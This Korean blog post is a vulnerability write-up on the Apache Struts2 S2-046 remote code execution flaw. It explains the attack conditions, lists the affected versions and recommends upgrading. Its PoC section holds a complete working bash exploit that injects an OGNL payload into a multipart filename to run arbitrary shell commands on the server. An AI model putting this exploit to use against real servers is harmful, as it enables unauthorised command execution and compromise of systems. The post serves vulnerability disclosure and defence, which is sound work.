티스토리 뷰

1. 개요

Struts2 jakarta 프레임워크 내 파일 업로드 부분의 취약점을 이용한 RCE 공격이다.
Content-Type을 이용하는 점은 최근 발표된 S2-045 스트러츠 취약점 공격과 유사하나, 이 외에도 Content-Length/ Content-Disposition 헤더를 이용해 공격한다는 차이점이 있다.
공격자는 이 취약점을 이용해 원격에서 임의의 코드를 주입할 수 있다.


2. 세부 내용

Content-Disposition 헤더는 주로 HTTP의 multipart request 에서 사용된다.
Content-Disposition의 헤더는 여러 방식으로 사용될 수 있는데, 그 중 다음과 같이 사용되는 경우가 있다.

Content-Disposition: form-data
Content-Disposition: form-data; name="fieldName"
Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"

공격자는 filename 에 실제 파일 대신에 임의의 공격 구문을 주입하여, InvalidFileNameException 예외처리 조건을 발동시키고 원격에서 공격을 실행시키게 된다.

현재 확인된 내용 중, 공격 성립 조건이 3가지 있는데 다음과 같다.

> Struts2 config 파일의 multipart.parser 부분이 default 값이 아닌 jakarta-stream을 사용해야 한다.
<constant name="struts.multipart.parser" value="jakarta-stream" />

> 파일의 크기는 Struts2 의 최대 허용 크기를 초과해야 한다. (2GB 이상에 맞춰 Content-Length 수정)

> File name 은 OGNL 페이로드 형식을 따라야 한다.
(OGNL은 Struts에서 쓰이는 언어 형식)



3. 영향 받는 버전

Struts 2.3.5- 2.3.31
Struts 2.5 - 2.5.10

S2-045와 동일하고, 다음 버전으로 업데이트를 권고한다.

Struts 2.3.32 Upgrade
Struts 2.5.10.1 Upgrade




4. PoC

사용자 : 192.168.0.6 (Struts2 2.3.28 버전 사용)



공격자 : 192.168.0.10 (test.sh 라는 익스플로잇 파일로 공격

> test.sh

#!/bin/bash

url=$1
cmd=$2
shift
shift

boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@


> POC 결과



whoami 명령어로 인해 사용자 ID 확인




5. 탐지 Rule

여기 참고



6. 참고 사이트

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNF18G-LSIt
https://gist.github.com/frohoff/a3e24764561c0c18b6270805140e7600#file-reqnull-txt-L5



댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함